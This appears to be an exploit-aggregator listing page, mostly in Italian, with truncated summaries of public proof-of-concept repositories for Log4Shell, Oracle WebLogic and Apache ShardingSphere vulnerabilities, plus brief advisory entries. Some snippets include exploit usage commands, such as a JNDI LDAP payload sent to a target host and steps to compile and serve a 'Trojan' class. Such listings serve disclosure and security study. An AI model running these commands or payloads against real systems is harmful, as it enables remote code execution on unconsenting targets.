CVE-2021-2394

CVE-2021-2394 POC di CVE-2021-2394 Disclaimer Il progetto è destinato esclusivamente all'apprendimento; qualsiasi conseguenza o perdita, diretta o indiretta, causata da test non autorizzati, è di esclusiva responsabilità dell'utente stesso. Note Il POC invia i pacchetti tramite IIOP; aggiungere l...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

log4shell-test-exploit

Test-Exploit für CVE-2021-44228 log4shell Vorbereitung root@kitploit: Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.gi...

CVE-2021-44228-POC

CVE-2021-44228-POC Exploit di CVE-2021-44228 scarica nuclei sudo cp nuclei /usr/bin/nuclei sudo chmod +x /usr/bin/nuclei git clone https://github.com/sec13b/CVE-2021-44228-POC.git mv CVE-2021-44228-POC log4shellexploit mkdir yaml mv .yaml yaml/ esegui: python3 log4shellexploit.py http://iptoexplo...

CVE-2024-21006

1、Non c'è molto da dire, è solo un exploit LDAP. 2、Si prega di controllare i log delle richieste del servizio LDAP. 3、Le versioni target devono essere Oracle WebLogic Server 12.2.1.4.0 e 14.1.1.0.0. Ed è necessario un JDK di versione bassa. 4、Utilizzare JNDIExploit-1.4-SNAPSHOT.jar per avviare il...

apache-tomcat-log4j

Log4j2 CVE-2021-44228 Vulnerabilità POC in Apache Tomcat Anteprima Configurazione Avviare il server tomcat root@kitploit: git clone cd apache-tomcat-10.0.14/bin startup.bat Servire la classe exploit root@kitploit: cd exploit py -m http.server 8888 root@kitploit: cd exploit java -cp...

log4j-shell-poc

log4j-shell-poc Una Proof-Of-Concept per la vulnerabilità CVE-2021-44228 scoperta di recente. Recentemente è stata scoperta una nuova vulnerabilità in log4j, una libreria di logging java molto utilizzata in prodotti come elasticsearch, minecraft e molti altri. In questo repository è presente...

log4j-CVE-2021-44228-test

log4j-CVE-2021-44228-test Demo-Projekte, um zu zeigen, wie man die log4j CVE-2021-44228 Schwachstelle ausnutzt Verwendet Spring Boot, um schnell einsatzbereit zu sein. Bitte entschuldige das ganze Hardcoding, es war nur ein POC. Verwendung Java 8 muss installiert sein. Baue mit Maven mvn clean...

log4j-cve-2021-44228-sample

Esempio di exploit log4j Questo repository contiene un esempio funzionante di abuso del recente exploit log4j. Non esegue un vero e proprio codice remoto, ma mostra la facilità con cui un attaccante può far sì che un'applicazione vulnerabile chiami il proprio server ldap. Utilizza l'eccellente ap...

EUVD-2021-28309

Malicious code in bioql PyPI...

Critical Path InJoin Directory Server 4.0 - File Disclosure

Critical Path InJoin Directory Server 4.0 - File Disclosure source: https://www.securityfocus.com/bid/4718/info Critical Path provides an LDAP Lightweight Directory Access Protocol Directory Server called InJoin. InJoin Directory Server is provided for Microsoft Windows operating systems and Unix...